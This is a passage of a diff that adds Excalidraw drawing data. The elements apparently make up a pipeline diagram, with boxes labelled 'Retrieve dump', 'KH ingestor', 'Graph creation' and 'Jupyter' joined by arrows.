-1809.094371367135, + "strokeColor": "#f08c00", + "backgroundColor": "#a5d8ff", + "width": 376.5702112318037, + "height": 915.0258825450766, + "seed": 643395272, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453657, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": { + "elementId": "D3bzKNCSoKOPVUVTBFR0Z", + "focus": -0.44494327911081133, + "gap": 21.638891291875325 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 64.14385632948391, + 804.3643546884182 + ], + [ + 376.5702112318037, + 915.0258825450766 + ] + ] + }, + { + "type": "ellipse", + "version": 1249, + "versionNonce": 2091139296, + "index": "c1tBV", + "isDeleted": false, + "id": "dYXQHgW5na4eNExaAK4zp", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 3237.8711507219587, + "y": -1105.2444707950083, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 127.45973387078428, + "height": 133.132176323629, + "seed": 1834648264, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "UcnTeeIB" + } + ], + "updated": 1720441453358, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1117, + "versionNonce": 1680418016, + "index": "c1tBl", + "isDeleted": false, + "id": "UcnTeeIB", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 3281.706477589078, + "y": -1080.7477149694744, + "strokeColor": "#f08c00", + "backgroundColor": "#ffc9c9", + "width": 39.66143798828125, + "height": 72.8066589269846, + "seed": 596568520, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "3", + "rawText": "3", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "dYXQHgW5na4eNExaAK4zp", + "originalText": "3", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 604, + "versionNonce": 1897615648, + "index": "c1tC", + "isDeleted": false, + "id": "fzAbO9qNV_amBk9ok9oL7", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3609.1360119429173, + "y": -766.685133939829, + "strokeColor": "#f08c00", + "backgroundColor": "#eebefa", + "width": 365.18339982401625, + "height": 744.2805722073974, + "seed": 2044604616, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453657, + "link": null, + "locked": false, + "startBinding": { + "elementId": "D3bzKNCSoKOPVUVTBFR0Z", + "focus": 0.778756168402292, + "gap": 1 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -76.39448707122237, + 509.15906789786425 + ], + [ + -365.18339982401625, + 744.2805722073974 + ] + ] + }, + { + "type": "rectangle", + "version": 557, + "versionNonce": 1074621664, + "index": "c1tCG", + "isDeleted": false, + "id": "CboUAZQJjbou4xYWl4jHy", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3309.5581193800617, + "y": -221.43526516246652, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 266.9128980545501, + "height": 166.41522040453623, + "seed": 793200056, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "y36L0Ps2" + } + ], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 566, + "versionNonce": 965529824, + "index": "c1tCV", + "isDeleted": false, + "id": "y36L0Ps2", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3324.9038811514774, + "y": -211.03431388718298, + "strokeColor": "#f08c00", + "backgroundColor": "#ffc9c9", + "width": 236.22137451171875, + "height": 145.6133178539692, + "seed": 46517944, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "Retrieve\ndump", + "rawText": "Retrieve dump", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "CboUAZQJjbou4xYWl4jHy", + "originalText": "Retrieve dump", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 693, + "versionNonce": 360690912, + "index": "c1tD", + "isDeleted": false, + "id": "qIIN_kxG0jI0krX3YsqDr", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3599.553392467065, + "y": -1176.2225904041163, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 490.98339163409554, + "height": 93.60856147755162, + "seed": 1134536, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "RQcR2HEr" + } + ], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 719, + "versionNonce": 964040928, + "index": "c1tE", + "isDeleted": false, + "id": "RQcR2HEr", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3685.1763138700503, + "y": -1165.8216391288329, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 319.737548828125, + "height": 72.8066589269846, + "seed": 803477192, + "groupIds": [ + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "KH ingestor", + "rawText": "KH ingestor", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "qIIN_kxG0jI0krX3YsqDr", + "originalText": "KH ingestor", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "image", + "version": 952, + "versionNonce": 1493171424, + "index": "c1tE8", + "isDeleted": false, + "id": "UNBKYPr-01IsNQfJhRTS-", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 4454.505765142879, + "y": -934.3174477539212, + "strokeColor": "transparent", + "backgroundColor": "transparent", + "width": 489.703964362356, + "height": 129.1926854425537, + "seed": 1379145912, + "groupIds": [ + "DRWGaQovC2fXxLM5g-T7v" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "bD0Q5UITrHHrtYt26olMx", + "type": "arrow" + }, + { + "id": "N584RSbDu-c4VxSMSjBpb", + "type": "arrow" + } + ], + "updated": 1720441453359, + "link": null, + "locked": false, + "status": "pending", + "fileId": "f374fbd1793eb07f2de877ddb6da07eaa1898c81", + "scale": [ + 1, + 1 + ] + }, + { + "type": "image", + "version": 1195, + "versionNonce": 1924311264, + "index": "c1tEG", + "isDeleted": false, + "id": "WW6J21Fl7EnRC-pV40f9c", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3735.500549911136, + "y": -561.4276236309811, + "strokeColor": "transparent", + "backgroundColor": "transparent", + "width": 375.1858771547096, + "height": 211.04205589952412, + "seed": 1990214072, + "groupIds": [ + "DRWGaQovC2fXxLM5g-T7v" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "status": "pending", + "fileId": "6f0c1d15a4307284c7d2228b2489fc62b2937aa1", + "scale": [ + 1, + 1 + ] + }, + { + "type": "arrow", + "version": 1553, + "versionNonce": 1546292448, + "index": "c1tEV", + "isDeleted": false, + "id": "Gh7Ezq3vkq_UPuPoX2R0l", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3834.3818667393307, + "y": -736.0914046429268, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 67.32374498988163, + "height": 219.33905229825768, + "seed": 928503736, + "groupIds": [ + "DRWGaQovC2fXxLM5g-T7v" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 52.079625730453884, + 65.0601918001999 + ], + [ + 67.32374498988163, + 219.33905229825768 + ] + ] + }, + { + "type": "arrow", + "version": 1842, + "versionNonce": 265563424, + "index": "c1tEl", + "isDeleted": false, + "id": "bD0Q5UITrHHrtYt26olMx", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 4442.315466488428, + "y": -889.2729420220751, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 548.5155601066997, + "height": 372.26298382869413, + "seed": 519315640, + "groupIds": [ + "DRWGaQovC2fXxLM5g-T7v" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453657, + "link": null, + "locked": false, + "startBinding": { + "elementId": "UNBKYPr-01IsNQfJhRTS-", + "focus": 0.7620742216487683, + "gap": 12.190298654450999 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -288.22131304057467, + 121.41165381511597 + ], + [ + -548.5155601066997, + 372.26298382869413 + ] + ] + }, + { + "type": "ellipse", + "version": 1439, + "versionNonce": 1691669728, + "index": "c1tF", + "isDeleted": false, + "id": "n_QIn4oDWew0GMp_A4NID", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 3861.8544367378045, + "y": -696.2646461269969, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 127.45973387078428, + "height": 133.132176323629, + "seed": 1332744632, + "groupIds": [ + "DRWGaQovC2fXxLM5g-T7v" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "i45fFuR2" + } + ], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1308, + "versionNonce": 556218592, + "index": "c1tFV", + "isDeleted": false, + "id": "i45fFuR2", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 3905.689763604924, + "y": -671.767890301463, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 39.66143798828125, + "height": 72.8066589269846, + "seed": 1005918904, + "groupIds": [ + "DRWGaQovC2fXxLM5g-T7v" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "3", + "rawText": "3", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "n_QIn4oDWew0GMp_A4NID", + "originalText": "3", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 824, + "versionNonce": 1837964512, + "index": "c1tG", + "isDeleted": false, + "id": "KXUmB_CAFSoNl3X5ewLGQ", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 4167.8463270425045, + "y": -707.945948473008, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 266.9128980545501, + "height": 166.41522040453623, + "seed": 1449574840, + "groupIds": [ + "6LzpCHbUuYRX6t-0aeJJw", + "DRWGaQovC2fXxLM5g-T7v" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "iJzP9FKg" + } + ], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 853, + "versionNonce": 2073460960, + "index": "c1tH", + "isDeleted": false, + "id": "iJzP9FKg", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 4186.249683113237, + "y": -697.5449971977246, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 230.10618591308594, + "height": 145.6133178539692, + "seed": 278252216, + "groupIds": [ + "6LzpCHbUuYRX6t-0aeJJw", + "DRWGaQovC2fXxLM5g-T7v" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "Graph\ncreation", + "rawText": "Graph\ncreation", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "KXUmB_CAFSoNl3X5ewLGQ", + "originalText": "Graph\ncreation", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 1640, + "versionNonce": 1255367904, + "index": "c1tH2", + "isDeleted": false, + "id": "KyPA3Ed2i32-pEjL_nyoc", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3920.833250519745, + "y": -1442.4441658779606, + "strokeColor": "#f27826", + "backgroundColor": "#f27826", + "width": 171.73524589378428, + "height": 169.9077763281794, + "seed": 1655318968, + "groupIds": [ + "gDlJRVJZCflDwJBRbB67r", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 2024, + "versionNonce": 1758709984, + "index": "c1tH4", + "isDeleted": false, + "id": "Dmb632VoxQw9w-99HXgGg", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3908.5436617765276, + "y": -1422.369653424415, + "strokeColor": "white", + "backgroundColor": "white", + "width": 194.1916513594021, + "height": 127.29855741300561, + "seed": 271332024, + "groupIds": [ + "gDlJRVJZCflDwJBRbB67r", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "id": "N584RSbDu-c4VxSMSjBpb", + "type": "arrow" + } + ], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1420, + "versionNonce": 224334048, + "index": "c1tH8", + "isDeleted": false, + "id": "QnjgmwKaZrZQc8gexMPDT", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3924.85361370445, + "y": -1441.111317009268, + "strokeColor": "#616262", + "backgroundColor": "#616262", + "width": 14.874715046790195, + "height": 14.837674891614606, + "seed": 847584184, + "groupIds": [ + "gDlJRVJZCflDwJBRbB67r", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1770, + "versionNonce": 889844960, + "index": "c1tHC", + "isDeleted": false, + "id": "bqxFcKp9FFGQmAizCANed", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 4075.84359286902, + "y": -1475.5519446107096, + "strokeColor": "#767677", + "backgroundColor": "#767677", + "width": 23.90663776279835, + "height": 23.847106836009157, + "seed": 1272505528, + "groupIds": [ + "gDlJRVJZCflDwJBRbB67r", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 2052, + "versionNonce": 1840797920, + "index": "c1tHG", + "isDeleted": false, + "id": "GQWbwDILnQ9G4VKX6RTcU", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3937.3674058282068, + "y": -1274.6517244313852, + "strokeColor": "#9e9e9e", + "backgroundColor": "#9e9e9e", + "width": 33.589443718787315, + "height": 33.505801228582165, + "seed": 2043383224, + "groupIds": [ + "gDlJRVJZCflDwJBRbB67r", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1775, + "versionNonce": 1257913568, + "index": "c1tHI", + "isDeleted": false, + "id": "DlTEA8yR", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3925.249543127396, + "y": -1385.0853682218421, + "strokeColor": "#767677", + "backgroundColor": "#767677", + "width": 161.7386330139604, + "height": 55.167429831493735, + "seed": 92346040, + "groupIds": [ + "gDlJRVJZCflDwJBRbB67r", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "fontSize": 43.64964216874283, + "fontFamily": 1, + "text": "Jupyter", + "rawText": "Jupyter", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Jupyter", + "autoResize": true, + "lineHeight": 1.2638690053454482 + }, + { + "type": "line", + "version": 1334, + "versionNonce": 1851760864, + "index": "c1tHK", + "isDeleted": false, + "id": "4ishh_NmxH3bhESDvJaub", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3705.3182617535867, + "y": -1496.7172028501654, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 3.4882281060611167, + "height": 144.7636620131847, + "seed": 1939701688, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.4882281060611167, + 144.7636620131847 + ] + ] + }, + { + "type": "line", + "version": 1344, + "versionNonce": 1199080672, + "index": "c1tHO", + "isDeleted": false, + "id": "VMo0KDiKr37aRUWUSMFay", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3700.085919594493, + "y": -1350.2094267839484, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 167.43747737101353, + "height": 1.7441140530305583, + "seed": 340052152, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 167.43747737101353, + -1.7441140530305583 + ] + ] + }, + { + "type": "rectangle", + "version": 1342, + "versionNonce": 1406462176, + "index": "c1tHS", + "isDeleted": false, + "id": "XB-_RvyBmAC7zFyUdQ4xo", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3719.271440312575, + "y": -1467.0668647465263, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 19.185520718081396, + "height": 118.60155201560843, + "seed": 320532920, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1323, + "versionNonce": 1594150112, + "index": "c1tHV", + "isDeleted": false, + "id": "2_kCLRu1CCw0ErLBZdnGx", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3755.8983676957087, + "y": -1447.8812774947555, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 22.673881891515137, + "height": 94.18355607106274, + "seed": 121895608, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1338, + "versionNonce": 1117270240, + "index": "c1tHX", + "isDeleted": false, + "id": "5VIzPSVvGiRVXb1EIue4i", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3799.5018843583352, + "y": -1489.7406801043553, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 17.441406665050838, + "height": 134.2988446276287, + "seed": 56878008, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1330, + "versionNonce": 639571168, + "index": "c1tHZ", + "isDeleted": false, + "id": "TecTeYRZEeRkJ6F4PXCGp", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3830.8964695823747, + "y": -1419.9750534441482, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 19.185520718081396, + "height": 62.78910391439481, + "seed": 631155896, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1409, + "versionNonce": 1059682528, + "index": "c1tHd", + "isDeleted": false, + "id": "Lf1Wz7f0j5lmQw-q5rRrC", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3732.2464290038606, + "y": -1437.193551298882, + "strokeColor": "#5c940d", + "backgroundColor": "transparent", + "width": 13.887342936978786, + "height": 81.88737641162359, + "seed": 664294840, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0.47887546916994767 + ], + [ + 0, + 1.9155110104696305 + ], + [ + 0, + 5.746478228669604 + ], + [ + 0, + 8.619721909899326 + ], + [ + 0, + 10.535223786579119 + ], + [ + -0.4788663353801078, + 14.366209272358896 + ], + [ + -1.915501876679543, + 17.239443819798776 + ], + [ + -1.915501876679543, + 20.112696634818338 + ], + [ + -2.8732345474397585, + 24.422548455978223 + ], + [ + -3.352137417979226, + 27.295801270997785 + ], + [ + -4.309870088739442, + 31.126786756777562 + ], + [ + -5.267602759499657, + 34.00002130421745 + ], + [ + -5.746505630039124, + 36.39438951627722 + ], + [ + -5.746505630039124, + 38.788757728336996 + ], + [ + -6.704238300799341, + 42.61976148169646 + ], + [ + -7.183104636179449, + 45.01412969375635 + ], + [ + -7.183104636179449, + 48.84511517953601 + ], + [ + -8.140873842099023, + 53.15496700069589 + ], + [ + -8.140873842099023, + 55.07046887737555 + ], + [ + -8.619740177479132, + 57.94370342481544 + ], + [ + -8.619740177479132, + 59.85920530149523 + ], + [ + -9.098606512859238, + 61.77470717817489 + ], + [ + -9.098606512859238, + 63.21132445189489 + ], + [ + -9.098606512859238, + 64.6479417256149 + ], + [ + -9.098606512859238, + 65.12680806099489 + ], + [ + -9.098606512859238, + 66.08455899933479 + ], + [ + -9.098606512859238, + 67.04230993767467 + ], + [ + -9.098606512859238, + 68.00006087601444 + ], + [ + -9.098606512859238, + 68.47892721139455 + ], + [ + -9.098606512859238, + 68.95781181435436 + ], + [ + -9.098606512859238, + 69.43667814973445 + ], + [ + -9.098606512859238, + 69.91554448511455 + ], + [ + -8.619740177479132, + 71.35218002641423 + ], + [ + -8.619740177479132, + 73.26766363551424 + ], + [ + -8.140873842099023, + 74.225414573854 + ], + [ + -8.140873842099023, + 75.18316551219388 + ], + [ + -8.140873842099023, + 75.66203184757401 + ], + [ + -7.6619709715595565, + 76.6197827859139 + ], + [ + -7.6619709715595565, + 78.05640005963377 + ], + [ + -6.704238300799341, + 78.53528466259368 + ], + [ + -6.704238300799341, + 79.49301733335379 + ], + [ + -6.704238300799341, + 79.97190193631356 + ], + [ + -6.704238300799341, + 80.45076827169355 + ], + [ + -6.225371965419233, + 80.92965287465346 + ], + [ + -5.746505630039124, + 80.92965287465346 + ], + [ + -5.746505630039124, + 81.40851921003345 + ], + [ + -3.831003753359333, + 80.92965287465346 + ], + [ + -1.915501876679543, + 80.45076827169355 + ], + [ + -1.915501876679543, + 79.97190193631356 + ], + [ + -1.436635541299683, + 79.97190193631356 + ], + [ + -1.436635541299683, + 79.49301733335379 + ], + [ + -0.9577692059195754, + 79.49301733335379 + ], + [ + -0.9577692059195754, + 79.01415099797367 + ], + [ + -0.4788663353801078, + 78.05640005963377 + ], + [ + 0, + 77.098649121294 + ], + [ + 0.4788663353801078, + 76.6197827859139 + ], + [ + 0.4788663353801078, + 76.14091645053378 + ], + [ + 0.4788663353801078, + 75.66203184757401 + ], + [ + 0.4788663353801078, + 74.70428090923411 + ], + [ + 0.4788663353801078, + 74.225414573854 + ], + [ + 0, + 72.7887973001341 + ], + [ + -0.4788663353801078, + 71.35218002641423 + ], + [ + -0.9577692059195754, + 68.47892721139455 + ], + [ + -0.9577692059195754, + 65.60569266395466 + ], + [ + -0.9577692059195754, + 61.295822575215105 + ], + [ + -0.4788663353801078, + 55.54933521275567 + ], + [ + 0.9577326707602156, + 49.323981514916106 + ], + [ + 0.9577326707602156, + 48.84511517953601 + ], + [ + 1.4365990061403233, + 45.97186236451645 + ], + [ + 2.394368212059899, + 41.662010543356686 + ], + [ + 2.394368212059899, + 40.225393269636676 + ], + [ + 2.8732345474400063, + 37.35214045461712 + ], + [ + 3.352100882819867, + 35.436656845517135 + ], + [ + 3.830967218199974, + 34.47890590717723 + ], + [ + 4.30987008873969, + 32.563404030497445 + ], + [ + 4.30987008873969, + 30.16903581843767 + ], + [ + 4.788736424119549, + 26.33805033265789 + ], + [ + 4.788736424119549, + 23.464815785218008 + ], + [ + 4.788736424119549, + 20.591562970198446 + ], + [ + 4.788736424119549, + 18.19719475813867 + ], + [ + 4.788736424119549, + 15.323960210698788 + ], + [ + 4.788736424119549, + 10.535223786579119 + ], + [ + 4.788736424119549, + 8.140855574519342 + ], + [ + 4.788736424119549, + 7.183104636179448 + ], + [ + 4.788736424119549, + 6.704238300799464 + ], + [ + 4.30987008873969, + 5.746478228669604 + ], + [ + 3.830967218199974, + 5.2676118932896205 + ], + [ + 3.352100882819867, + 5.2676118932896205 + ], + [ + 2.394368212059899, + 5.2676118932896205 + ], + [ + 1.4365990061403233, + 5.2676118932896205 + ], + [ + 0.9577326707602156, + 5.2676118932896205 + ], + [ + 0.4788663353801078, + 5.2676118932896205 + ], + [ + 0, + 5.2676118932896205 + ], + [ + -1.436635541299683, + 5.2676118932896205 + ], + [ + -2.394368212059651, + 5.2676118932896205 + ], + [ + -2.8732345474397585, + 5.2676118932896205 + ], + [ + -3.352137417979226, + 5.2676118932896205 + ], + [ + -3.831003753359333, + 5.2676118932896205 + ], + [ + -4.309870088739442, + 5.2676118932896205 + ], + [ + -4.788736424119549, + 5.2676118932896205 + ], + [ + -5.746505630039124, + 4.3098792225295295 + ], + [ + -6.225371965419233, + 3.830985485779777 + ], + [ + -6.225371965419233, + 3.3521100166098297 + ], + [ + -6.225371965419233, + 2.873243681229846 + ], + [ + -6.704238300799341, + 2.873243681229846 + ], + [ + -6.704238300799341, + 2.3943682120597742 + ], + [ + -7.183104636179449, + 0.9577418045500554 + ], + [ + -7.6619709715595565, + 0 + ], + [ + -7.6619709715595565, + -0.47885720159014394 + ], + [ + -7.6619709715595565, + -0.47885720159014394 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1360, + "versionNonce": 289889504, + "index": "c1tHh", + "isDeleted": false, + "id": "p4MtjMOpI4fHStetYDU-d", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 20, + "angle": 